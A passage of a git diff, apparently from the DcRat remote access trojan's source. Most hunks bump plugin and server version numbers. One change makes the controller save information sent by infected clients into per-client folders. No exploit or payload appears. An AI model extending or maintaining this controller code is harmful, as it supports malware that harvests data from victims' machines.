b/Plugin/RemoteDesktop/RemoteDesktop/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.1.0")] +[assembly: AssemblyFileVersion("1.0.1.0")] diff --git a/Plugin/SendFile/SendFile/Properties/AssemblyInfo.cs b/Plugin/SendFile/SendFile/Properties/AssemblyInfo.cs index 99f3f28..faeb730 100644 --- a/Plugin/SendFile/SendFile/Properties/AssemblyInfo.cs +++ b/Plugin/SendFile/SendFile/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.1.0")] +[assembly: AssemblyFileVersion("1.0.1.0")] diff --git a/Plugin/SendMemory/SendMemory/Properties/AssemblyInfo.cs b/Plugin/SendMemory/SendMemory/Properties/AssemblyInfo.cs index 22dfa08..aeae3ac 100644 --- a/Plugin/SendMemory/SendMemory/Properties/AssemblyInfo.cs +++ b/Plugin/SendMemory/SendMemory/Properties/AssemblyInfo.cs @@ -31,5 +31,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.1.0")] +[assembly: AssemblyFileVersion("1.0.1.0")] diff --git a/Server/Handle Packet/HandleInformation.cs b/Server/Handle Packet/HandleInformation.cs index 4d1f1ae..421442f 100644 --- a/Server/Handle Packet/HandleInformation.cs +++ b/Server/Handle Packet/HandleInformation.cs @@ -20,7 +20,12 @@ public void AddToInformationList(Clients client, MsgPack unpack_msgpack) { try { - MessageBox.Show(unpack_msgpack.ForcePathObject("InforMation").AsString); + string tempPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + unpack_msgpack.ForcePathObject("ID").AsString + "\\Information"); + string fullPath = tempPath + $"\\Information.txt"; + if (!Directory.Exists(tempPath)) + Directory.CreateDirectory(tempPath); + File.WriteAllText(fullPath, unpack_msgpack.ForcePathObject("InforMation").AsString); + Process.Start("explorer.exe", fullPath); } catch (Exception ex) { diff --git a/Server/Properties/AssemblyInfo.cs b/Server/Properties/AssemblyInfo.cs index 1f5b55a..2a93f71 100644 --- a/Server/Properties/AssemblyInfo.cs +++ b/Server/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] +[assembly: AssemblyVersion("1.0.1.0")] +[assembly: AssemblyFileVersion("1.0.1.0")] diff --git a/Server/Settings.cs b/Server/Settings.cs index f1e8e5b..f7c70ef 100644 --- a/Server/Settings.cs +++ b/Server/Settings.cs @@ -19,7 +19,7 @@ public static class Settings public static string CertificatePath = Application.StartupPath + "\\ServerCertificate.p12"; public static X509Certificate2 ServerCertificate; - public static readonly string Version = "DcRat 1.0.0"; + public static readonly string Version = "DcRat 1.0.1"; public static object LockListviewClients = new object(); public static object LockListviewLogs = new object(); public static object LockListviewThumb = new object(); diff --git a/Server/app.manifest b/Server/app.manifest index 648dc43..1cb88de 100644 --- a/Server/app.manifest +++ b/Server/app.manifest @@ -1,6 +1,6 @@  - +